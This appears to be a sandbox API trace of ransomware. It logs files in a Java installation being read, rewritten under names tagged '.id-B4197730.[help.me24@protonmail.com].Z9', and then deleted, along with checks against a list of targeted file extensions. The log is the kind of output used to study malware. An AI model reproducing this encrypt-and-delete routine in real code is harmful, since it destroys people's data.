	[0098.021] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xf58, lpOverlapped=0x0) returned 1
	[0098.045] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf60, lpOverlapped=0x0) returned 1
	[0098.046] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.046] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0098.046] SetEndOfFile (hFile=0x320) returned 1
	[0098.046] CloseHandle (hObject=0x320) returned 1
	[0098.047] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.047] SetEndOfFile (hFile=0x37c) returned 1
	[0098.051] CloseHandle (hObject=0x37c) returned 1
	[0098.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0098.051] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1
	[0098.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.051] lstrlenW (lpString=".doc") returned 4
	[0098.051] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0098.051] lstrlenW (lpString=".docx") returned 5
	[0098.051] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0098.052] lstrlenW (lpString=".pdf") returned 4
	[0098.052] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString=".xls") returned 4
	[0098.052] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString=".xlsx") returned 5
	[0098.052] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0098.052] lstrlenW (lpString=".ppt") returned 4
	[0098.052] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.052] lstrlenW (lpString=".zip") returned 4
	[0098.052] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString=".rar") returned 4
	[0098.052] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString=".bz2") returned 4
	[0098.052] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString=".7z") returned 3
	[0098.052] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0098.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.052] lstrlenW (lpString=".dbf") returned 4
	[0098.052] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.052] lstrlenW (lpString=".1cd") returned 4
	[0098.052] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.052] lstrlenW (lpString=".jpg") returned 4
	[0098.052] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.052] lstrlenW (lpString=".doc") returned 4
	[0098.052] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0098.052] lstrlenW (lpString=".docx") returned 5
	[0098.052] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0098.052] lstrlenW (lpString=".pdf") returned 4
	[0098.052] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString=".xls") returned 4
	[0098.053] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString=".xlsx") returned 5
	[0098.053] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0098.053] lstrlenW (lpString=".ppt") returned 4
	[0098.053] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.053] lstrlenW (lpString=".zip") returned 4
	[0098.053] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString=".rar") returned 4
	[0098.053] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString=".bz2") returned 4
	[0098.053] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString=".7z") returned 3
	[0098.053] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0098.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.053] lstrlenW (lpString=".dbf") returned 4
	[0098.053] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.053] lstrlenW (lpString=".1cd") returned 4
	[0098.053] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0098.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0098.053] lstrlenW (lpString=".jpg") returned 4
	[0098.053] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0098.053] lstrcmpiW (lpString1=".bfc", lpString2=".Z9") returned -1
	[0098.053] lstrlenW (lpString="fontconfig.bfc") returned 14
	[0098.053] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.054] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3770) returned 1
	[0098.054] CloseHandle (hObject=0x37c) returned 1
	[0098.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20
	[0098.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.054] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.054] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0098.055] GetLastError () returned 0x0
	[0098.055] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xeba, lpOverlapped=0x0) returned 1
	[0098.065] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0098.066] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.066] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0098.066] SetEndOfFile (hFile=0x320) returned 1
	[0098.066] CloseHandle (hObject=0x320) returned 1
	[0098.066] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.066] SetEndOfFile (hFile=0x37c) returned 1
	[0098.067] CloseHandle (hObject=0x37c) returned 1
	[0098.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0098.067] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1
	[0098.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.067] lstrlenW (lpString=".doc") returned 4
	[0098.067] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0098.067] lstrlenW (lpString=".docx") returned 5
	[0098.067] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0098.067] lstrlenW (lpString=".pdf") returned 4
	[0098.067] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0098.067] lstrlenW (lpString=".xls") returned 4
	[0098.068] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString=".xlsx") returned 5
	[0098.068] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0098.068] lstrlenW (lpString=".ppt") returned 4
	[0098.068] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.068] lstrlenW (lpString=".zip") returned 4
	[0098.068] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString=".rar") returned 4
	[0098.068] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString=".bz2") returned 4
	[0098.068] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString=".7z") returned 3
	[0098.068] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0098.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.068] lstrlenW (lpString=".dbf") returned 4
	[0098.068] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.068] lstrlenW (lpString=".1cd") returned 4
	[0098.068] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0098.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.068] lstrlenW (lpString=".jpg") returned 4
	[0098.068] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.068] lstrlenW (lpString=".doc") returned 4
	[0098.068] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString=".docx") returned 5
	[0098.068] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0098.068] lstrlenW (lpString=".pdf") returned 4
	[0098.068] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString=".xls") returned 4
	[0098.068] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0098.068] lstrlenW (lpString=".xlsx") returned 5
	[0098.069] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0098.069] lstrlenW (lpString=".ppt") returned 4
	[0098.069] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0098.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.069] lstrlenW (lpString=".zip") returned 4
	[0098.069] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0098.069] lstrlenW (lpString=".rar") returned 4
	[0098.069] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0098.069] lstrlenW (lpString=".bz2") returned 4
	[0098.069] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0098.069] lstrlenW (lpString=".7z") returned 3
	[0098.069] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0098.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.069] lstrlenW (lpString=".dbf") returned 4
	[0098.069] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0098.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.069] lstrlenW (lpString=".1cd") returned 4
	[0098.069] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0098.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0098.069] lstrlenW (lpString=".jpg") returned 4
	[0098.069] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0098.069] lstrcmpiW (lpString1=".src", lpString2=".Z9") returned -1
	[0098.069] lstrlenW (lpString="fontconfig.properties.src") returned 25
	[0098.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.070] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10568) returned 1
	[0098.070] CloseHandle (hObject=0x37c) returned 1
	[0098.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20
	[0098.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.070] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.070] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0098.070] GetLastError () returned 0x0
	[0098.070] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x2948, lpOverlapped=0x0) returned 1
	[0098.111] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x2950, lpOverlapped=0x0) returned 1
	[0098.112] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.112] WriteFile (in: hFile=0x320, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x106, lpOverlapped=0x0) returned 1
	[0098.112] SetEndOfFile (hFile=0x320) returned 1
	[0098.112] CloseHandle (hObject=0x320) returned 1
	[0098.113] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.113] SetEndOfFile (hFile=0x37c) returned 1
	[0098.113] CloseHandle (hObject=0x37c) returned 1
	[0098.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0098.114] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1
	[0098.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.114] lstrlenW (lpString=".doc") returned 4
	[0098.114] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0098.114] lstrlenW (lpString=".docx") returned 5
	[0098.114] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0098.114] lstrlenW (lpString=".pdf") returned 4
	[0098.114] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0098.114] lstrlenW (lpString=".xls") returned 4
	[0098.114] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0098.114] lstrlenW (lpString=".xlsx") returned 5
	[0098.114] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0098.114] lstrlenW (lpString=".ppt") returned 4
	[0098.114] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0098.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.114] lstrlenW (lpString=".zip") returned 4
	[0098.114] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0098.114] lstrlenW (lpString=".rar") returned 4
	[0098.114] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0098.114] lstrlenW (lpString=".bz2") returned 4
	[0098.114] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString=".7z") returned 3
	[0098.115] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0098.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.115] lstrlenW (lpString=".dbf") returned 4
	[0098.115] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.115] lstrlenW (lpString=".1cd") returned 4
	[0098.115] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.115] lstrlenW (lpString=".jpg") returned 4
	[0098.115] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.115] lstrlenW (lpString=".doc") returned 4
	[0098.115] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString=".docx") returned 5
	[0098.115] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0098.115] lstrlenW (lpString=".pdf") returned 4
	[0098.115] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString=".xls") returned 4
	[0098.115] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0098.115] lstrlenW (lpString=".xlsx") returned 5
	[0098.115] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0098.115] lstrlenW (lpString=".ppt") returned 4
	[0098.115] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.115] lstrlenW (lpString=".zip") returned 4
	[0098.115] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0098.115] lstrlenW (lpString=".rar") returned 4
	[0098.115] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString=".bz2") returned 4
	[0098.115] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0098.115] lstrlenW (lpString=".7z") returned 3
	[0098.115] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0098.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.116] lstrlenW (lpString=".dbf") returned 4
	[0098.116] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0098.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.116] lstrlenW (lpString=".1cd") returned 4
	[0098.116] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0098.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0098.116] lstrlenW (lpString=".jpg") returned 4
	[0098.116] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0098.116] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0098.116] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0098.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.117] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=75144) returned 1
	[0098.117] CloseHandle (hObject=0x37c) returned 1
	[0098.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20
	[0098.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.118] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.118] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0098.118] GetLastError () returned 0x0
	[0098.118] ReadFile (hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0) 

Thread:
	id = 19
	os_tid = 0x11ac

	[0070.124] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3142718
	[0070.125] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x3152720
	[0070.125] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559428
	[0070.125] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e038
	[0070.125] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559500
	[0070.125] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x3b28020
	[0070.128] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559518
